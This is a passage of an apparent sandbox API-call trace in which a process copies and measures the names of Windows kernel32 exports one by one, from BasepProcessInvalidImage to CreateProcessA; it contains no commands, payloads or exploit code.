lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0108.939] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0108.939] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0108.939] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0108.939] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0108.939] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0108.939] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0108.939] lstrlenA (lpString="BEEP") returned 4 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0108.939] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0108.939] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0108.939] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0108.939] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0108.939] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0108.939] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0108.939] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0108.939] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0108.939] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0108.939] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0108.940] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0108.940] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0108.940] lstrlenA (lpString="CANCELIO") returned 8 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0108.940] lstrlenA (lpString="CANCELIOEX") returned 10 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0108.940] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0108.940] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0108.940] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0108.940] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0108.940] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0108.940] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0108.940] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0108.940] lstrlenA (lpString="CHECKELEVATION") returned 14 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0108.940] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0108.940] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0108.940] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0108.940] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0108.941] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0108.941] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0108.941] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0108.941] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0108.941] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0108.941] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0108.941] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0108.941] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0108.941] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0108.941] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0108.941] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0108.941] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0108.941] lstrlenA (lpString="CLOSESTATE") returned 10 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0108.941] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0108.941] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0108.941] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0108.941] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0108.942] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0108.942] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0108.942] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0108.942] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0108.942] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0108.942] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0108.942] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0108.942] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0108.942] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0108.942] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0108.942] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0108.942] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0108.942] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0108.942] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0108.942] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0108.942] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0108.943] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0108.943] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0108.943] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0108.943] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0108.943] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0108.943] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0108.943] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0108.943] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0108.943] lstrlenA (lpString="COPYCONTEXT") returned 11 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0108.943] lstrlenA (lpString="COPYFILE2") returned 9 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0108.943] lstrlenA (lpString="COPYFILEA") returned 9 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0108.943] lstrlenA (lpString="COPYFILEEXA") returned 11 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0108.943] lstrlenA (lpString="COPYFILEEXW") returned 11 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0108.943] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0108.943] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0108.943] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0108.944] lstrlenA (lpString="COPYFILEW") returned 9 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0108.944] lstrlenA (lpString="COPYLZFILE") returned 10 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0108.944] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0108.944] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0108.944] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0108.944] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0108.944] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0108.944] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0108.944] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0108.944] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0108.944] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0108.944] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0108.944] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0108.944] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0108.944] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0108.944] lstrlenA (lpString="CREATEEVENTA") returned 12 [0108.944] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0108.945] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0108.945] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0108.945] lstrlenA (lpString="CREATEEVENTW") returned 12 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0108.945] lstrlenA (lpString="CREATEFIBER") returned 11 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0108.945] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0108.945] lstrlenA (lpString="CREATEFILE2") returned 11 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0108.945] lstrlenA (lpString="CREATEFILEA") returned 11 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0108.945] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0108.945] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0108.945] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0108.945] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0108.945] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0108.945] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0108.945] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0108.945] lstrlenA (lpString="CREATEFILEW") returned 11 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0108.945] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0108.945] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0108.946] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0108.946] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0108.946] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0108.946] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0108.946] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0108.946] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0108.946] lstrlenA (lpString="CREATEJOBSET") returned 12 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0108.946] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0108.946] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0108.946] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0108.946] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0108.946] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0108.946] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0108.946] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0108.946] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0108.946] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0108.946] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0108.947] lstrlenA (lpString="CREATEPIPE") returned 10 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0108.947] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0108.947] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0108.947] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0108.947] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: 